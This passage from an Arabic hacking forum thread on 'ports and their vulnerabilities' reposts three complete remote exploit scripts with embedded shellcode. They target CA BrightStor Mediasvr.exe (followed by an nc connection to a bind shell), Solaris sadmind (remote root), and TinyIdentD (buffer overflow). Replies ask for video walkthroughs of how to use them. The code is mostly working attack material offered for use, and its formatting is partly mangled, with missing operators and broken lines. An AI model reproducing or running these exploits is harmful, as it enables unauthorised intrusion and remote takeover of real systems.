    shellcode += "\x4f\x4f\x42\x4d\x48\x46\x4c\x36\x46\x56\x48\x36\x4a\x46\x43\x46"
    shellcode += "\x4d\x46\x49\x58\x45\x4e\x4c\x56\x42\x35\x49\x55\x49\x52\x4e\x4c"
    shellcode += "\x49\x38\x47\x4e\x4c\x56\x46\x54\x49\x58\x44\x4e\x41\x53\x42\x4c"
    shellcode += "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x52\x50\x4f\x44\x34\x4e\x32"
    shellcode += "\x43\x49\x4d\x48\x4c\x47\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"
    shellcode += "\x44\x47\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x57\x46\x34\x4f\x4f"
    shellcode += "\x48\x4d\x4b\x45\x47\x55\x44\x55\x41\x45\x41\x35\x41\x55\x4c\x36"
    shellcode += "\x41\x30\x41\x35\x41\x55\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x56"
    shellcode += "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x56"
    shellcode += "\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x38\x47\x55\x4e\x4f"
    shellcode += "\x43\x48\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"
    shellcode += "\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x43\x55\x4f\x4f\x48\x4d"
    shellcode += "\x4f\x4f\x42\x4d\x5a\x90"

    #------------------------------------------------------------------------

    #First Packet
    rpc_packet1="\x80\x00\x80\x34\x65\xcf\x4c\x7b\x00\x00\x00\x00\x00\x00\x00"
    rpc_packet1+="\x02\x00\x06\x09\x7e\x00\x00\x00\x01"

    #Prodcedure 191 and nulls
    rpc_packet1+="\x00\x00\x00\xbf\x00\x00\x00\x00\x00\x00\x00\x00"

    #Apparently these 4 bytes can be anything
    rpc_packet1+="\x00\x00\x00\x00"

    #This value is important for the location of the next address
    rpc_packet1+="\x00\x00\x00\x00"

    #Hardcoded Address loaded into ECX
    rpc_packet1+="\x00\xae\x27\x64"

    #Just spacing
    rpc_packet1+="\x41\x42\x43\x44"

    #Addess in memory, loaded into EAX and called with EAX+2Ch to get to shellcode
    rpc_packet1+="\x3c\x27\xae\x00"

    #jump to shellcode for packet 1
    rpc_packet1+="\x6c\x27\xae\x00"
    rpc_packet1+="\xeb\x01"
    rpc_packet1+=shellcode

    #------------------------------------------------------------------------

    #Second Packet
    rpc_packet2="\x80\x00\x80\x34\x65\xcf\x4c\x7b\x00\x00\x00\x00\x00\x00\x00"
    rpc_packet2+="\x02\x00\x06\x09\x7e\x00\x00\x00\x01"

    #Procedure 191 and nulls
    rpc_packet2+="\x00\x00\x00\xbf\x00\x00\x00\x00\x00\x00\x00\x00"

    #Apparently these 4 bytes can be anything
    rpc_packet2+="\x00\x00\x00\x00"

    #This value is important for the location of the next address
    rpc_packet2+="\x00\x00\x00\x00"

    #Hardcoded Address loaded into ECX that seems to be hit after Mediasvr.exe has been
    #restarted
    rpc_packet2+="\x00\x9e\x27\x64"

    #Just spacing
    rpc_packet2+="\x41\x42\x43\x44"

    #Addess stored in memory, loaded into EAX and called with EAX+2Ch to get to shellcode
    rpc_packet2+="\x3c\x27\x9e\x00"

    #jump to shellcode for packet 2
    rpc_packet2+="\x6c\x27\x9e\x00"
    rpc_packet2+="\xeb\x01"
    rpc_packet2+=shellcode

    # Portmap request for Mediasvr.exe
    rpc_portmap_req="\x80\x00\x00\x38\x21\x84\xf7\xc9\x00\x00\x00\x00\x00\x00\x00"
    rpc_portmap_req+="\x02\x00\x01\x86\xa0\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00"
    rpc_portmap_req+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    rpc_portmap_req+="\x06\x09\x7e\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00"

    #------------------------------------------------------------------------

    def GetMediaSvrPort(target):
        
    sock socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        
    sock.connect((target,111))
        
    sock.send(rpc_portmap_req)
        
    rec sock.recv(256)
        
    sock.close()

        
    port1 rec[-4]
        
    port2 rec[-3]
        
    port3 rec[-2]
        
    port4 rec[-1]   
       
        
    port1 hex(ord(port1))
        
    port2 hex(ord(port2))
        
    port3 hex(ord(port3))
        
    port4 hex(ord(port4))
        
    port '%02x%02x%02x%02x' % (int(port1,16),int(port2,16),int(port3,16),int(port4,16))
       
        
    port int(port,16)
        if 
    port 1100:
            print 
    '[+] Fresh Meat: Mediasvr.exe has not been restarted, Sending Packet 1 to: Target: %s Port: %s' %(target,port)
            
    ExploitMediaSvr(target,port,1)
        else:
            print 
    '[+] Mediasvr.exe has been restarted, Sending Packet 2 to: Target: %s Port: %s' % (target,port)
            
    ExploitMediaSvr(target,port,2)

    def ExploitMediaSvr(target,port,p):
        
    sock socket.socket(socket.AF_INETsocket.SOCK_STREAM)
        
    sock.connect((targetport))
        if 
    == 1:
            
    sock.send(rpc_packet1)    
        
    elif p == 2:
            
    sock.send(rpc_packet2)
           
    sock.close ()


    if 
    __name__=="__main__":
           try:
                   
    target sys.argv[1]
           
    except IndexError:
            print 
    '[+] Computer Associates (CA) Brightstor Backup Mediasvr.exe Remote Exploit'
                   
    print '[+] Author: Shirkdog'
                       
    print '[+] Usage: %s <target ip>\n' sys.argv[0]
                       
    sys.exit(-1)

           print 
    '[+] Computer Associates (CA) Brightstor Backup Mediasvr.exe Remote Exploit'
           
    print '[+] Author: Shirkdog'

           
    GetMediaSvrPort(target)
               
           print 
    '[+] Exploit sent. Using nc to connect to: %s on port 4444' target
           time
    .sleep(3)
           
    connect "/usr/bin/nc -vn " target " 4444"
           
    os.system(connect)

    #  [2007-03-29] 
    111 Solaris 9 [UltraSPARC] sadmind Remote Root Exploit

    كود PHP:
    #!/usr/bin/perl
    # holygrail2                                                                      #
    #---------------------------------------------------------------------------------#
    # SunOS 5.9 [UltraSPARC] sadmind Remote Root Exploit by KingCope in 2008          #
    #                                                                                 #
    # Most of work was shamelessy ripped from HD-Moore  and RISE-Security exploits!!! #
    # Bug found by RISE-Security.                                                     #
    # Sparc exploit by KingCope [[email protected]]                               #
    # Maybe I will extend this to Solaris 8/10/11 in futura ??                        #
    # thanks to alex,andi,adize ...                                                   #
    #                                                                                 #
    ###################################################################################

    use strict;
    use 
    POSIX;
    use 
    IO::Socket;
    use 
    IO::Select;

    print 
    "holygrail2 vs. SunOS 5.9 sadmind\nby kcope in 2008\nbinds a shell to port 5555\n";
    my $host $ARGV[0];

    if (
    $host eq "") {
        print 
    "usage: perl holygrail2.pl <address>\n";
        exit(-
    1);
    }

    # solaris_sparc_bind -  LPORT=5555 Size=232 Encoder=Sparc http://metasploit.com
    my $payload =
    "\x23\x32\xde\xd7\xa2\x14\x62\x6f\x20\xbf\xff\xff\x20\xbf\xff\xff".
    "\x7f\xff\xff\xff\xea\x03\xe0\x20\xaa\x9d\x40\x11\xea\x23\xe0\x20".
    "\xa2\x04\x40\x15\x81\xdb\xe0\x20\x12\xbf\xff\xfb\x9e\x03\xe0\x04".
    "\x57\x50\xfe\x68\xff\xb6\xde\x77\x69\xad\xde\x7c\x01\xcb\x1e\x89".
    "\xbb\xfc\xbe\x8f\x2b\xec\x9e\x8d\xce\x1c\xfe\x77\x5f\xcc\xdf\x7f".
    "\x8f\xce\xa0\x87\x11\x10\xdf\xf2\xf1\x04\xfe\x4f\x11\x06\xbe\x5f".
    "\x11\x6b\x7e\x6b\x03\x4f\x21\x83\xb7\x80\x01\xb3\x35\xb0\x61\x5b".
    "\xa8\x60\x42\x93\x1b\x83\x3d\x5b\x09\x94\x62\x9a\xaf\x84\x42\x75".
    "\x3e\x74\xa3\x8d\x91\x77\x1c\x75\x83\x62\x23\x8c\x37\x80\xe3\x87".
    "\xb5\xb4\xc3\x7d\x28\x65\x24\x89\x9b\xa6\x9b\x71\x8f\xb8\xc4\x82".
    "\x3d\xa9\x24\x8d\xd5\x6b\x84\x8c\x54\x7b\xe4\xb0\xc9\xab\xc4\xc4".
    "\xf8\xf3\xfb\x28\x2d\x0f\xbb\x28\x59\x15\x04\xc3\x40\x21\x5c\x49".
    "\x22\x22\x7c\x03\x01\x41\xa2\x01\xd5\x75\xfb\xa5\x47\x5a\x5b\xcd".
    "\x87\xa6\x24\x3d\x97\xfa\xe4\x45\xd7\xde\xa4\x49\x5a\x30\xfb\x8a".
    "\xcb\xe0\xdb\xe4\xec\x01\x1b\xf4";

    my $patchaddr pack("N"0xffbf83d8);
    my $retaddr pack("N"0xffbf88e0);

    sub nonblock {
        
    my ($fd) = @_;
        
    my $flags fcntl($fdF_GETFL,0);
        
    fcntl($fdF_SETFL$flags|O_NONBLOCK);
    }

    sub rpc_read {
        
    my ($s) = @_;
        
    my $sel IO::Select->new($s);
        
    my $res;
        
    my @fds $sel->can_read(4);
        foreach (@
    fds) { $res .= <$s>; }
        return 
    $res;
    }

    sub rpc_getport {
        
    my ($target_host$target_port$prog$vers) = @_;
        
        
    my $s rpc_socket($target_host$target_port);

        
    my $portmap_req =
            
            
    pack("L"rand() * 0xffffffff) . # XID
            
    "\x00\x00\x00\x00".              # Call
            
    "\x00\x00\x00\x02".              # RPC Version
            
    "\x00\x01\x86\xa0".              # Program Number  (PORTMAP)
            
    "\x00\x00\x00\x02".              # Program Version (2)
            
    "\x00\x00\x00\x03".              # Procedure (getport)
            
    ("\x00" x 16).                   # Credentials and Verifier
            
    pack("N"$prog) .
            
    pack("N"$vers).
            
    pack("N"0x11).                 # Protocol: UDP
            
    pack("N"0x00);                 # Port: 0

        
    print $s $portmap_req;

        
    my $r rpc_read($s);
        
    close ($s);
        
        if (
    length($r) == 28
        { 
            
    my $prog_port unpack("N",substr($r244));
            return(
    $prog_port); 
        }
        
        return 
    undef;
    }

    sub rpc_socket {
        
    my ($target_host$target_port) = @_;
        
    my $s IO::Socket::INET->new
        
    (
            
    PeerAddr => $target_host
            
    PeerPort => $target_port,
            
    Proto    => "udp",
            
    Type     => SOCK_DGRAM
        
    );

        if (! 
    $s)
        {
            print 
    "\nError: could not create socket to target: $!\n";
            exit(
    0);
        }

        
    select($s); $|++;
        
    select(STDOUT); $|++;
        
    nonblock($s);
        return(
    $s);
    }

    sub rpc_sadmin_expl {
        
    my ($hostname$command$first) = @_;
        
    my $packed_host $hostname . ("\x00" (59 length($hostname)));    
        
        
    my $rpc =
            
    pack("L"rand() * 0xffffffff) . # XID
            
    "\x00\x00\x00\x00".              # Call
            
    "\x00\x00\x00\x02".              # RPC Version
            
    "\x00\x01\x87\x88".              # Program Number  (SADMIND)
            
    "\x00\x00\x00\x0a".              # Program Version (10)
            
    "\x00\x00\x00\x01".              # Procedure
            
    "\x00\x00\x00\x01";              # Credentials (UNIX)
                                             # Auth Length is filled in

        # pad it up to multiples of 4
        
    my $rpc_hostname $hostname;
        while (
    length($rpc_hostname) % != 0) { $rpc_hostname .= "\x00" }
        
        
    my $rpc_auth =
            
    # Time Stamp
            
    pack("N"time() + 20001) .

            
    # Machine Name
            
    pack("N"length($hostname)) . $rpc_hostname .

            
    "\x00\x00\x00\x00".              # UID = 0
            
    "\x00\x00\x00\x00".              # GID = 0
            
    "\x00\x00\x00\x00";              # No Extra Groups  


        
    $rpc .= pack("N"length($rpc_auth)) . $rpc_auth . ("\x00" x 8);

        
    my $fp pack("N"0xffbf9108);
        
    my $buf1 "\x90" (2050-length($payload)-500) . $payload "\x90\x90" "\x90" x 500 "CC" $fp $fp $retaddr x 100;

        if (
    $first eq 1) {
        
    $buf1 "\x90" x 50;
        }

        while (
    length($buf1) % != 0) { $buf1 .= "\x00" }

        
    my $header =
        
        
    # Another Time Stamp
        
    reverse(pack("L"time() + 20005)) .

        
    "\x00\x07\x45\xdf".
        
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06".
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
    "\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04".
        
        
    "\x7f\x00\x00\x01".                 # 127.0.0.1
        
    "\x00\x01\x87\x88".                 # SADMIND
        
        
    "\x00\x00\x00\x0a\x00\x00\x00\x04".
        
        
    "\x7f\x00\x00\x01".                 # 127.0.0.1
        
    "\x00\x01\x87\x88".                 # SADMIND

        
    "\x00\x00\x00\x0a\x00\x00\x00\x11\x00\x00\x00\x1e".
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
    "\x00\x00\x00\x00".

        
    "\x00\x00\x00\x3b"$packed_host.

        
    "\x00\x00\x00\x00\x06" "system".
        
        
    "\x00\x00\x00\x00\x00\x15""../../../../../bin/sh""\x00\x00\x00";
        
        
    # Append Body Length ^-- Here

        
    my $body 
        
    "\x00\x00\x00\x0e""ADM_FW_VERSION".
        
    "\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00".
        
    "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00".
        
        
    "\x00\x00\x00\x08""ADM_LANG".
        
    "\x00\x00\x00\x09\x00\x00\x00\x02\x00\x00".
        
    "\x00\x01""C" 
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
        
    "\x00\x00\x00\x0d""ADM_REQUESTID".
        
    "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x12\x00\x00\x00\x11".
        
    "00009:000000000:0"."\x00\x00\x00".
        
    "\x00\x00\x00\x00\x00\x00\x00\x00".

        
    "\x00\x00\x00\x09""ADM_CLASS".
        
    "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x07".
        
    "\x00\x00\x00\x06" "system" .
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
        
        
    "\x00\x00\x00\x0e" "ADM_CLASS_VERS" .
        
    "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x04".
        
    "\x00\x00\x00\x03""2.1".
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
        
        
    "\x00\x00\x00\x0a" "ADM_METHOD" 
        
    "\x00\x00\x00\x00\x00\x09" pack("N"length($buf1)+1) . pack("N"length($buf1)) . $buf1 
        
    "\x00\x00\x00\x00\x00\x00\x00\x00".
        
        
    "\x00\x00\x00\x08""ADM_HOST" .
        
    "\x00\x00\x00\x09\x00\x00\x00\x3c\x00\x00\x00\x3b".
        
    $packed_host.

        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
    "\x00\x00\x00\x0f""ADM_CLIENT_HOST".
        
    "\x00\x00\x00\x00\x09".
        
        
    pack("N"length($hostname) + 1) .
        
    pack("N"length($hostname)) .
        
    $rpc_hostname .
        
    "\x00\x00\x00\x00""\x00\x00\x00\x00".
        
        
    "\x00\x00\x00\x11" "ADM_CLIENT_DOMAIN".
        
    "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00".
        
    "\x00\x00\x00\x00\x00\x00".
        
        
    "\x00\x00\x00\x11" "ADM_TIMEOUT_PARMS".
        
    "\x00\x00\x00\x00\x00".
        
    "\x00\x09\x00\x00\x00\x1c".
        
    "\x00\x00\x00\x1b" "TTL=0 PTO=20 PCNT=2 PDLY=30".
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
        
        
    "\x00\x00\x00\x09" "ADM_FENCE" .
        
    "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00".
        
    "\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x00\x00\x00\x09\x00".
        
    "\x00\x00\x03\x00\x00\x00\x02" "-c" .
        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x59\x00".
        
    "\x00\x00\x00\x00\x00\x09\x00\x00\x02\x01\x00\x00\x02\x00".

        
    $command . ("\x00" (512 length($command))).

        
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10".
        
    "netmgt_endofargs";

        
    my $res $rpc $header pack("N", (length($body) + length($header)) - 330) . $body;

        return(
    $res);

    }

    $|=
    1;

    my $portmap "111";
    for (
    my $i=1;$i<3;$i++) {
    my $target_port rpc_getport($host$portmap10023210);
    if (! 
    $target_port)
    {
        print 
    STDERR "Error: could not determine port used by sadmind\n";
        exit(
    0);
    }

    my $s rpc_socket($host$target_port);
    my $x rpc_sadmin_expl("localhost""foo"$i);
    print 
    $s $x;
    my $r rpc_read($s);
    close ($s);
    }

    #  [2008-10-19] 
    انتهينا من بورت 111
    نبداء بـ بورت 113


    113 TinyIdentD <= 2.2 Remote Buffer Overflow Exploit

    كود PHP:
    #
    #tinyidentd exploit code by
    #thomas . pollet _at_ gmail . com
    #bug by Maarten Boone
    #
    #usage: python exploit.py [target]
    #
    import socket,sys
    #jmp into nop sled
    payload  '\xeb\x20'  
    #ident crap
    payload += ', 28 : USERID : UNIX : '
    #nop sled
    payload +='XXXX'
    # jmp *%esi
    payload += '\x77\x13\x83\x7c'  #XP kernel32.dll
    #payload += '\xb1\x63\xd9\x77' #W2K rpcrt4.dll
    #metasploit alphanumeric shellcode calc.exe
    shellcode "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
    shellcode += "\x49\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x44"
    shellcode += "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x54\x42\x32\x41\x42\x32\x42"
    shellcode += "\x41\x30\x42\x41\x58\x41\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x4b"
    shellcode += "\x58\x51\x54\x65\x50\x57\x70\x45\x50\x4e\x6b\x67\x35\x35\x6c\x4e"
    shellcode += "\x6b\x73\x4c\x55\x55\x71\x68\x67\x71\x68\x6f\x6c\x4b\x52\x6f\x46"
    shellcode += "\x78\x4e\x6b\x51\x4f\x71\x30\x74\x41\x7a\x4b\x30\x49\x6c\x4b\x54"
    shellcode += "\x74\x6e\x6b\x76\x61\x4a\x4e\x35\x61\x4b\x70\x6a\x39\x4c\x6c\x4d"
    shellcode += "\x54\x6b\x70\x30\x74\x54\x47\x6a\x61\x6a\x6a\x64\x4d\x63\x31\x79"
    shellcode += "\x52\x4a\x4b\x69\x64\x67\x4b\x32\x74\x65\x74\x66\x64\x31\x65\x4a"
    shellcode += "\x45\x6c\x4b\x71\x4f\x31\x34\x57\x71\x48\x6b\x52\x46\x6e\x6b\x64"
    shellcode += "\x4c\x52\x6b\x4e\x6b\x31\x4f\x77\x6c\x54\x41\x68\x6b\x4c\x4b\x57"
    shellcode += "\x6c\x6c\x4b\x57\x71\x4a\x4b\x4e\x69\x41\x4c\x65\x74\x67\x74\x4a"
    shellcode += "\x63\x75\x61\x4f\x30\x51\x74\x6c\x4b\x61\x50\x50\x30\x4f\x75\x4f"
    shellcode += "\x30\x32\x58\x64\x4c\x4c\x4b\x71\x50\x54\x4c\x4c\x4b\x70\x70\x57"
    shellcode += "\x6c\x4e\x4d\x6e\x6b\x73\x58\x35\x58\x4a\x4b\x36\x69\x6c\x4b\x4d"
    shellcode += "\x50\x4c\x70\x67\x70\x75\x50\x37\x70\x4c\x4b\x45\x38\x35\x6c\x41"
    shellcode += "\x4f\x57\x41\x68\x76\x53\x50\x30\x56\x6e\x69\x6b\x48\x6f\x73\x6f"
    shellcode += "\x30\x63\x4b\x62\x70\x30\x68\x58\x70\x6f\x7a\x57\x74\x51\x4f\x45"
    shellcode += "\x38\x6f\x68\x59\x6e\x4f\x7a\x66\x6e\x62\x77\x69\x6f\x38\x67\x73"
    shellcode += "\x53\x52\x41\x30\x6c\x71\x73\x64\x6e\x35\x35\x30\x78\x70\x65\x45"
    shellcode += "\x50\x44"

    nopsize=523-len(payload)-len(shellcode)
    nopsled=''
    for i in range(nopsize):
        
    nopsled+='\x90'

    payload=payload.replace('XXXX',nopsled+shellcode)

    try:
        
    target=sys.argv[1]
        
    socket.socket(socket.AF_INETsocket.SOCK_STREAM)
        
    s.connect((target,113))
        
    s.send(payload+'\n')
        
    s.close()
        print 
    'done'
    except:
        print 
    'usage : %s [target]'%sys.argv[0]

    #  [2007-05-14] 
    انتهينا من البورتات 105 و 110 و 111 و 113

    ارجو حفظ الحقوق لجيوش الهكر

    تحياتي


  2. #2

    افتراضي رد: البورتات و ثغراتها بورت 105 و 110 و 111 و 113

    حرام عليكم بقلب الصحفة ومش فاهم حاجة طب فهموني الله

  3. #3

    افتراضي رد: البورتات و ثغراتها بورت 105 و 110 و 111 و 113

    يعطيك العافية اخي الكريم

  4. #4

    افتراضي رد: البورتات و ثغراتها بورت 105 و 110 و 111 و 113

    ارجو منك اضافة شرح فيديو لكفية استغلالها انا اصراحة مفهمتش حاجا
    :d

المواضيع المتشابهه

  1. البورتات و ثغراتها بورت 21
    بواسطة اخلاقي تاج راسي في المنتدى قسم الثغرات
    مشاركات: 2
    آخر مشاركة: 09-22-2013, 10:20 AM
  2. البورتات و ثغراتها بورت 80 و 81
    بواسطة اخلاقي تاج راسي في المنتدى قسم الثغرات
    مشاركات: 6
    آخر مشاركة: 09-10-2013, 11:03 PM
  3. البورتات و ثغراتها بورت 22 و 23 و 25
    بواسطة اخلاقي تاج راسي في المنتدى قسم الثغرات
    مشاركات: 5
    آخر مشاركة: 08-25-2013, 09:15 PM
  4. البورتات وثغراتها بورت 42 و 53 و 69 و 70
    بواسطة اخلاقي تاج راسي في المنتدى قسم الثغرات
    مشاركات: 1
    آخر مشاركة: 08-25-2013, 04:47 PM
  5. [[.. قنبلة البورتات .. طلع أي بورت إنت حابه في أي جهاز .. أو موقع
    بواسطة جاري البحث عن ضحيه في المنتدى قسم اختراق الأجهزة
    مشاركات: 11
    آخر مشاركة: 02-13-2011, 11:06 AM

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •